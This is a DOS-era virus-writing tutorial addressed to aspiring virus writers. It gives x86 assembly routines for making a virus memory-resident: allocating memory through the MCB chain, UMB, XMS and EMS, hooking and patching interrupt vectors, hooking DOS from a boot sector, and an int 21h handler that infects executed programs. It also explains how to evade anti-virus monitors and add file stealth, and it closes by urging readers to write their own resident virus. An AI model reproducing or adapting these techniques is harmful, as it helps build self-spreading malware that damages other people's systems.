               'Ŀ'
                 ***::: Guide to Resident Viruses :::**** 
                  
                 ******* -= Cmdr PVC/Invaders =- ******** 
               ''


        It seems that there's a lot of aspiring virus writers out there who
are spending time on anti-heuristic code, directory traversal code, and
various other add-ons for their viruses. Unfortunately, few start work on
resident viruses until they've released a few generic, nonresident appenders.
In this tutorial, I'm hoping to show exactly how to write the critical parts
of a functioning memory resident virus, and provide a few source code
examples and explanations for most of the methods I'm documenting.
        Why write a resident virus? Numerous reasons. Firstly, your virus
will be faster spreading - you can code in the capability to infect files
during any file access functions - even directory searches. It will hit the
most-used files on the computer first. It won't depend on an infected file
being copied to a floppy disk in order to spread. Secondly, residency opens
the door for code which is simply not possible with a non-resident virus.
Stealth, for instance, can be accomodated only in a resident virus. Boot
sector, partition and multipartite viruses are almost exclusively memory
resident - and those account for the overwhelming majority of all infections.
Slow infection is only possible in resident viruses. Thirdly, the code isn't
significantly more difficult to write. You can forget about traversing
directories and checking if there's any floppies in the floppy drive. At the
modest price of a memory installation routine, your virus gets a big
advantage.


        ALLOCATING MEMORY

        First thing one must do when installing a into memory is allocate
a chunk of memory to which the code can be written. This can be done in
several ways. Some virus writers just find some free memory and write the
virus there, but I don't recommend doing it, as it is extremely unreliable.
Any successful virus will need to allocate memory.
        I've thrown in a bunch of source codes to illustrate the methods I'm
explaining. If anything appears cryptic, look more closely at those.


        Base Memory Size Manipulation

        This method is based on the fact that the base memory size in
kilobytes is always stored as word at the offset 0:0413h in memory. It is
then a simple task to subtract the necessary amount of memory from this and
write your code there. This might not be the best way of allocating or the
memory, but it's a secure place to keep your virus. Besides, this is the
only way to allocate memory before DOS loads, so if you're going resident
off the boot sector (or maybe a DOS kernel file) this is the only way to
do it.
        The decrease in memory size can be stealthed by trapping int 12h
and adding whatever number of kilobytes was originally subtracted by the
code. This will only work up to a point, but would fool a simple memory
diagnostic program. All boot viruses and multipartite viruses use this, at
least up to the point when command.com loads.
        Anyway, here's the code:

        xor     ax,ax
        mov     ds,ax
        mov     di,ax
        dec     word ptr [413h]         ; take one kilobyte
        int     12h                     ; get memory size in ax
        mov     cl,6
        shl     ax,cl                   ; find your segment
        mov     es,ax                   ; put it into es
        push    cs
        pop     ds
        mov     si,offset vstart        ; start of your code
        mov     cx,vsize                ; size of your resident code
        rep     movsb                   ; and copy it


        Top Of The Interrupt Vector Table

        If you pull out your interrupt list, you will notice that about half
of the interrupts in the IVT aren't used very much. Thus, one could write
your virus right over those vectors. It's not the smartest thing to do, as
some programs do find a use for these interrupts. Therefore if something
decides to modify the IVT or call an interrupt which has been overwritten,
your code will get messed up or the system will crash.
        The code for this is piss easy. Don't try fitting anything larger
than 512 bytes in there either, if you do, you'll overwrite the BIOS data
area. MG-1 was the first virus to use this technique, since then several
others have made use of this.

        xor     es,es
        mov     di,200h                 ; set di to point to top half of the
                                        ; interrupt vector table
        push    cs
        pop     ds
        mov     si,offset vstart        ; start of your resident code
        mov     cx,vsize
        rep     movsb                   ; just copy it


        Memory Holes

        The idea here is that a virus could possibly find an unused chunk of
memory somewhere in the BIOS data area, among all the garbage conserved for
downward compatibility with antiquated software. It's not a secure method by
any means, and you might not find appropriate holes on every system you hit.
Once again, the code has to be very tight - don't assume you can find
anything bigger than 1k or so. The only real advantage of this method is that
memory is not decreased. Try starting at 0040:0000h and searching there for
a chunk of zeroes. A relatively safe location is the DOS scratch space at
0060:0000, it's 256 bytes long, and not used after the boot process. Tight
code is the key here, though I suppose you could install some sort of loader
in that space and store the virus body in the XMS or EMS as data. Else, you
could write an interrupt handler there. See what you can make of it. This
code always starts at segment boundaries and searches for a chunk of zeroes
the size of your virus. This code is very simple though - it will go into an
endless loop if you don't set some limits as to how many segments should
be searched. If you want to improve on it, be my guest.

        mov     ax,40h

find_hole:
        mov     es,ax
        xor     ax,ax
        mov     di,ax           ; es:di = 0040:0000h
        mov     cx,vsize
        repe    scasb           ; are these zeroes?
        jcxz    install         ; if so, are there enough?
        mov     ax,es           ; nope.. next segment!
        inc     ax
        jmp     short find_hole

install:
        mov     si,offset v_start
        mov     cx,vsize
        xor     di,di   
        rep     movsb


        Going Resident Via Int 27h

        This is the cheesiest possible way to create a TSR virus. It's dead
easy to do, and hasn't been used by viruses since the Stone Ages - it's
trivial to detect. I'll tell you how to do it anyway. Just set all the
interrupt vectors to your handlers, and adjust cs and dx as appropriate,
then call int 27h. The only thing you must keep in mind is that DOS passes
control to COMMAND.COM after int 27h is called. I won't bother providing code
for this.


        Allocating Memory With DOS Calls

        This is a safe and very compatible way of allocating memory. However,
it is very well known to anti-virus researchers, and will set off the alarm
on just about any virus monitor out there. I'll tell you how to do it anyway.
You request an impossible amount of memory, DOS tells you how much it would
let you have, you allocate the memory you need. The following code show how
to allocate a block for the virus's use with DOS calls. 

        mov     ah,4ah
        mov     bx,0ffffh
        int     21h                     ; request ffffh paras of memory
        sub     bx,vsize/10h+1          ; this is paras again
        mov     ah,48h
        int     21h
        mov     ah,48h
        mov     bx,vsize/10h+1
        int     21h                     ; your segment's in ax
        mov     es,ax
        xor     di,di
        push    cs
        pop     ds                      ; now ds=cs
        mov     si,offset vstart
        mov     cx,vsize
        rep     movsb

        dec     ax                      ; this makes the virus's MCB appear
        mov     ds,ax                   ; as system code on a memory map
        mov     word ptr [8h],'SC'      ; (DOS 5.0+ only)


        Direct Manipulation of the MCB Chain

        This is an excellent method of allocating memory. It involves some
twiddling with the MCB headers so that DOS thinks it's got less memory. All
you need to do is find a suitable block and change the header. Stormbringer,
Qark, and Terminator Z use this for going resident. So do the guys that wrote
Creeping Death (Dir 2), except theirs is slightly different - they extend a
block belonging to DOS and wrote their code there. Look at the Dir 2 source
code if you're interested.

        mov     ah,52h          ; SYSVARS - get list of lists
        int     21h
        mov     ax,es:[bx-2]    ; address of the first MCB
        xor     di,di           ; (or you could use the block 1 para below
                                ; the PSP)
find_block:
        mov     ds,ax
        cmp     byte ptr [di],'Z'               ; last block?
        je      install

next_block:
        add     ax,word ptr [di+3]      ; on to the next block
        jmp     short find_block

install:
        sub     word ptr [di+3],vsize/10h+1
        add     ax,word ptr [di+3]
        mov     es,ax                   ; there's your segment
        push    cs
        pop     ds
        mov     si,offset vstart        ; recognise this yet?
        mov     cx,vsize
        rep     movsb


        Patching in a Fake Block

        You might have to use this technique if the last block in the chain
is too small, or being used, or whatever. Now, you can't simply chop off a
'M' block, as this will tend to screw the whole MCB chain. However, you can
adjust it. I don't know if any viruses use this, as I've just made it up.
Here's the code. It will install the virus into any free block, patching it
if necessary. You can be tricky and check if the last block suits your
purposes first, but I'm not going to complicate things any further.
Alternately, you could check how much free memory is available between the
top of memory (TOM) and the last block, change the 'Z' block to an 'M' block
and write in a new 'Z' block at the end of the old one. 

        mov     ah,52h          ; SYSVARS - get list of lists
        int     21h
        mov     ax,es:[bx-2]    ; address of the first MCB
        xor     di,di           ; (or you could use the block 1 para below
                                ; the PSP)
find_block:
        mov     ds,ax
        cmp     word ptr [di+1],di
        jnz     next_block
        cmp     word ptr [di+3],vsize/10h+2
        jae     patch

next_block:
        add     ax,word ptr [di+3]      ; on to the next block
        jmp     short find_block

patch:
        cmp     byte ptr [di],'Z'       ; must not be the last block
        je      last_block
        sub     word ptr [di+3],vsize/10h+2     ; take an extra para
        add     ax,word ptr [di+3]
        mov     ds,ax
        mov     byte ptr [di],'M'
        mov     word ptr [di+1],8               ; owned by DOS          
        mov     word ptr [di+3],vsize/10h+1
        mov     word ptr [di+8h],'SC'           ; mark it as system code
        mov     ax,ds
        inc     ax
        jmp     short write     

last_block:
        sub     word ptr [di+3],vsize/10h+1
        add     ax,word ptr [di+3]
write:
        mov     es,ax
        push    cs
        pop     ds
        mov     si,offset vstart
        mov     cx,vsize
        rep     movsb


        Using a UMB Block

        UMBs can be another good place to store your virus, as some virus
scanners don't scan the UMB area. All one needs to do is find a suitable UMB
block, and manipulate it in a similar fashion to a MCB. The format of the UMB
is almost identical to MCB format, so you can handle both with one routine.
UMBs are only present in DOS 5.0+, though.

        mov     ah,52h
        int     21h
        lds     di,es:[bx+12h]          ; get first disk buffer in ds:di
        mov     ax,word ptr [di+1fh]    ; segment of first UMB
        inc     ax
        jz      no_UMB
        dec     ax
        xor     di,di
        mov     ds,ax                   ; ds = segment of UMB

[rest of code]

        Note, the word at offset 1 in the UMB control block is does not hold
the same value as the corresponding word in the MCB. Rather, it's the first
available paragraph in the UMB. If the value is 0ah, it means the UMB
control block is placed at the end of the UMB area. I'll be nice and give
you more source code to calculate where in the UMB to write your virus.
If this is buggy, deal with it.

        cmp     word ptr [di+1],0ah
        je      next_block

process_UMB:
        mov     ax,word ptr [di+3]      ; get total size of UMB in paras
        mov     bx,word ptr [di+1]      ; get first available para in UMB
        sub     ax,bx
        cmp     ax,vsize/10h+1          ; enough space in the UMB?
        jnb     install                 ; nope

next_block:
        mov     ax,ds
        add     ax,word ptr [di+3]
        mov     ds,ax   
        jmp     short process_UMB

install:
        add     word ptr [di+1],vsize/10h+1     ; adjust control block
        mov     ax,ds
        add     ax,word ptr [di+1]      ; find our segment
        mov     es,ax
        push    cs
        pop     ds
        mov     si,offset vstart
        mov     cx,vsize
        rep     movsb


        The XMS Driver

        Now this is not strictly a memory allocation strategy, but you might
like to use the XMS driver either for allocating space in the UMB area or
the HMA. First of all one must find the XMS driver entry point. The original
entry point is a short jump followed by 3 nops. It's best to find the
original entry point, of course, as an anti-virus monitor might decide to
chain into the XMS driver chain and monitor suspicious memory allocation
requests. Tracing it is a simple task, one simply follows the chain of far
jump laid down by programs which have hooked into the chain. Here's a simple
code tracer. To call the XMS driver directly, just set all the registers to
whatever you desire and call the driver (HIMEM.SYS on most systems)

trace_XMS_driver        proc
        pusha
        push    es
        mov     ax,4310h
        int     2fh                     ; es:bx

trace:
        cmp     byte ptr es:[bx],0ebh   ; short jump?
        je      done
        cmp     byte ptr es:[bx],0eah   ; long jump?
        jne     fail_trace
        mov     ax,es
        add     ax,es:[bx+3]
        add     bx,es:[bx+1]
        mov     es,ax
        jmp     short trace

done:
        mov     [XMS_driver+2],es
        add     bx,es:[bx+1]
        mov     [XMS_driver],bx
        clc
        jmp     short trace_ok

fail_trace:
        stc

trace_ok:
        pop     es
        popa
        ret

trace_XMS_driver        endp

XMS_driver      dd 0


        HMA Usage

        Things get trickier here. First of all, you need to know that
the HMA is a memory area between 0ffff:0010f and 0ffff:ffffh. Now, since
those segment-offset addresses can't be represented by a 20-bit number, but
can still be addressed, roughly 64k is available for a virus's use.
Unfortunately, quite a bit of code needs to be dedicated just to place the
virus into the HMA and safely keep it there. A few problems arise with HMA
use. For instance, an address line called a20 needs to be enabled to access
the HMA (can be done by calling the XMS driver with the appropriate
values). You can't point an interrupt vector into a 0ffff:xxxxh address,
because a selfish program might disable the a20 address line, and the system
will crash. I suppose you could find a hole in lower memory, and write in
your interrupt handlers there - which would enable a20, call the proper
interrupt handler in your virus and return. Q the Misanthrope has written a
tutorial on this subject, so if you're interested, I recommend that you
check it out.


        XMS Usage

        Extended memory is one place where large chunks of virus code can be
stored. However, you can only store it as data - which means you'll have to
keep a small loader somewhere in memory and swap your code into conventional
memory to execute it. Still, there's some definite advantages to this method.
No scanners scan the XMS, as it contains no directly executable code. The
memory your virus takes up is only the size of your XMS loader - meaning that
you can get a 7k virus to allocate only 512 bytes of conventional memory. You
can also easily make your virus polymorphic in memory by simply generating a
polymorphic XMS loader. Experiment! Here's a bit of code to show how to
get a chunk of memory in the XMS area.

        mov     ax,4300h                ; check if XMS driver is installed
        int     2fh
        cmp     al,80h
        jne     error
        call    trace_XMS_driver        ; find the original XMS driver API
        jc      error
        mov     ah,09h                  ; allocate XMS block
        mov     dx,4                    ; ask for 4k
        call    dword ptr [XMS_driver]  ; call the XMS driver
        or      al,al
        jz      error
        mov     word ptr [XMS_handle],dx

[rest of code]

XMS_handle dw   0

        Now, since segment-offset addresses can't be used for extended memory
addressing, you'll need to set up a table (EMM structure) and use this table
for moving code/data to and from XMS memory. Here's the format (out of Ralf
Brown's Interrupt List).

EMM Table Structure

offset  size    description
 0h     dword   number of bytes to move (must be even)
 4h     word    source handle
 6h     dword   address within the source block
0ah     word    destination handle
0ch     dword   address within the destination block

        If either source of destination handle is 0, then the dword address
within the block is interpreted as a real mode address. To move something to
the XMS area, set source handle to 0 and address within the source block to
the absolute address of the bytes to move. Offset 0ah must hold the handle of
the destination. To move bytes from the XMS area, simply make the source your
XMS block, and the destination your real address. Then, point ds:si to the
start of your table and call the XMS driver API with ah set to 0bh. As you
can see, XMS might not be the most convenient place to chuck your virus, but
it does open new possibilities. Look up all the XMS API functions, and
experiment.


        EMS Usage

        This memory area is available on shitbox 8086 and 8088 systems
(unlike XMS memory). It's similar to the XMS memory in that you can't
directly run it or point interrupts into it (thus requiring a loader). This
area can be accessed with EMM software, through a bunch of interrupt 67h
functions. Here's the code for allocating some memory.

        mov     ah,43h          ; get handle and allocate memory
        mov     bx,psize        ; size of your virus in pages
        int     67h
        or      ah,ah
        jnz     error
        mov     word ptr [EMS_handle],dx

[rest of code]

EMS_handle dw   0

        Moving code to and from the EMS area requires a table (surprise
surprise). I'll give you the format of this table (outta Ralf Brown's Int
List). Point ds:si to this table and call interrupt 67h, with ah set to
57h. By the way, you can either move (when al equals 00h) or swap (al set to
01h) the addressed memory regions. Have fun with that.

EMS Copy Data Structure

offset  size    description
 0h     dword   region length in bytes
 4h     byte    source memory type (0 conventional, 1 EMS memory)
 5h     word    source handle
 7h     word    source initial offset 
 9h     word    source initial segment (if conventional memory)
                source page number (if EMS memory)
0bh     byte    destination memory type (0 conventional, 1 EMS memory)
0ch     word    destination handle
0eh     word    destination initial offset
10h     word    destination initial segment (if conventional memory)
                destination page number (if EMS memory)

        The concept here is very similar to XMS paging - set the appropriate
handle to 0 if it's conventional memory, else use the handle that your
virus got handed out when you allocated EMS memory.


        TRAPPING INTERRUPTS

        Okay - your virus is in memory, you're on to the next step. You need
to change some of the interrupt vectors to point to your virus rather than
the appropriate interrupt handler. The reason for doing this is that
whenever an interrupt is called, the virus can check what it is and do its
business. Here's some ways of changing interrupt vectors to suit your
purposes.


        Using DOS Calls

        DOS has two functions that can be used to get the interrupt vectors.
Those are 35h (get interrupt vector) and 25h (set interrupt vector). This is
probably the easiest way of hooking interrupts, but of course the anti-virus
people have realised that they can trap these and mess around with the
results. A big advantage of this method is that it's always guaranteed to
work - even if the IVT is write protected. Under Windows 95 (DOS 7),
interrupts hooked with this method often work better than those hooked
directly. Here's the code for hooking int 21h (DOS services). Look the
functions up in Ralf Brown's Interrupt List so that you know exactly how
they work.

        mov     ax,3521h
        int     21h
        mov     word ptr [old_int21h],bx
        mov     word ptr [old_int21h+2],es

        mov     ax,2521h
        push    cs
        pop     ds
        mov     dx,offset int21h_handler
        int     21h


        Direct Manipulation

        Once you know the format of the IVT, you can directly change the
IVT entries for the interrupts you need. The IVT starts at address 0:0, is
1024 bytes long, and each 4 byte entry is the address to which control is
passed when an interrupt is called.

        mov     di,offset old_int21h
        mov     si,21h*4
        xor     ax,ax
        mov     ds,ax
        movsw
        movsw
        mov     ax,offset int21h_handler
        mov     [si-4],ax
        mov     [si-2],cs


        Patching Code/Patching DOS

        This method is quite inconspicuous (unless you do it under DOS 7
where it immediately hangs the system). The idea is that instead of modifying
any vectors, you modify the code pointed to by the vectors. Here's the code.

        xor     ax,ax
        mov     es,ax
        mov     si,word ptr es:[21h*4]
        mov     ds,word ptr es:[21h*4+2]
        mov     si,word ptr cs:[old_int21h]
        mov     ds,word ptr cs:[old_int21h+2]
        mov     di,offset old_code
        movsw
        movsw
        movsb
        mov     di,si
        push    ds
        pop     es
        mov     al,0eah
        stosb
        mov     ax,offset int21h_handler
        stosw
        mov     ax,cs
        stosw
        
old_code db 5 dup (?)

old_int21h dd 0

        It gets more difficult than this, though. Suppose the first
instruction that was overwritten was an iret, jmp, jmp short or some other
opcode that's less than 5 bytes in length. This means that patching code in
this manner may overwrite a chunk of code or data that has nothing to do with
the interrupt. This can be solved by checking for those opcodes before
patching anything.
        Another thing to keep in mind when coding such a routine is that
you will need to restore the original code on entry to your handler so you
can call the appropriate interrupt without fucking up, and on exit, you must
re-patch the same code to point to your virus - a minor (or major) pain in
the ass.
        Patching DOS is an excellent way to hook an interrupt - since all
DOS calls pass though your handler. There's a serious danger associated with
it though - it crashes DOS 7. Besides, if you write to ROM, where BIOS
interrupts (interrupt 13h and suchlike), you won't hook the interrupt.
Additional dangers include the fact that the DOS kernel might change, and
your virus will be incompatible. But remember, you're writing a virus, and
you have the creative license to write the weirdest code out there.


        Hooking Interrupt 21h From The Boot Sector

        This can be a problem, and is quite hard to work out yourself. When
the boot sector (and presumably your boot sector virus) executes, all the DOS
interrupts point to iret opcodes. If you hook interrupt 21h as soon as you're
resident, it will be reset by DOS, and your virus will be bypassed. It's
preferable to hook int 21h fairly early, as it will be monitored by all the
anti-virus TSR monitors that are loaded up from autoexec.bat. So what can
you do? One way is to hook the timer interrupt (08h or 1ch) and hooking int
21h after a certain number of ticks. Here's a sample handler:

int08h_handler:
        inc     word ptr cs:[counter]
        cmp     word ptr cs:[counter],1234h     ; desired number of ticks
        je      hook_int21h
                db      0eah                    ; jmp far opcode
old_int08h      dd      0       
counter         dw      0
[rest of code]

        Another way is to check the start of the disk read buffer for the
EXE header id - 'MZ'. Point your interrupt handler to the check routine
until those characters appear at the start of the read buffer - that's when
COMMAND.COM is being loaded from disk via int 13h. As soon as that happens,
hook int 21h, and point int 13h to your int 13h handler.

int13h_check:
        cmp     ah,02h
        je      check_buffer

int13h_handler:

[rest of code]

return_13h:
                db      0eah
old_int13h      dd      0


check_buffer:
        call    dword ptr [old_int13h]
        jc      return_13h
        cmp     word ptr es:[bx],'MZ'
        jne     int13h_handler

[hook int 21h]


You could also check the int 21h vector on every int 13h call, and if it's
changed, hook int 21h. Here's the code.

int13h_check:
        pusha
        push    ds
        xor     ax,ax
        mov     ds,ax
        mov     si,[21h*4]
        mov     di,offset old_int21h
        cmpsw
        jne     changed
        cmpsw
        jne     changed

int13h_handler:

[rest of code]

changed:
[hook int 21h]
[point the int 13h vector to int13h_handler]
[jmp to int13_handler]

        Checking the read buffer or tacking the int 21h check will screw up
under some circumstances (under QEMM or DOS 7 for instance).
        Yet another method is setting up an int 10h  handler and as soon as
an int 10h call is issued (clear screen or whatever), you revector int 13h.
You should be able to work the code for this yourself.


        INTERRUPT HANDLERS

        Finally, your virus should include a chunk of code to check what
interrupt function is called, and if this function is in any way interesting
to you, process it. Functions can be processed in two ways - changing some
of the input values to suit the virus's needs, or calling the function from
within the viral code and changing the output (here's where stealth can be
implemented).
        An ultra-simple interrupt handler might be this:

intxxh_handler:
        iret

or

intxxh_handler:
        jmp     dword ptr cs:[old_intxxh]

        Both do absolutely nothing - the only difference is that one returns
control to the caller, and the other passes control to the appropriate
interrupt. The first might be used as a simple critical error handler - just
set the int 24h to point towards the iret, and no more annoying critical
error messages during infection of write-protected floppies.
        The second can be used as a skeleton for more complex code:

int21h_handler:
        cmp     ah,4bh          ; is ax=4bh? (load/execute program)
        je      infect

return_21h:
                db 0eah         ; machine code jmp far opcode
old_in21h       dd 0

infect:
        pushf
        pusha
        push    ds

[do infection]

        pop     ds
        popa
        popf
        jmp     return_21h

        I hope I've communicated the idea here. Just look up on all the
values DOS is called with, and write your interrupt handler. For instance,
if you trap file execute, you can infect any file that is executed. If you
trap file open and file close, you can implement basic stealth - disinfect
the file on opening, reinfect on closing. A word of caution here - either
don't call an interrupt with values that would be trapped by your interrupt
handler, or issue a far call to the vector that way in place before you set
up your handler.

        I'm gonna wrap this tutorial up, it's getting too bloody long. I hope
you've learnt something from it, and have been inspired to write your own
memory resident virus. Greetings to all resident virus writers!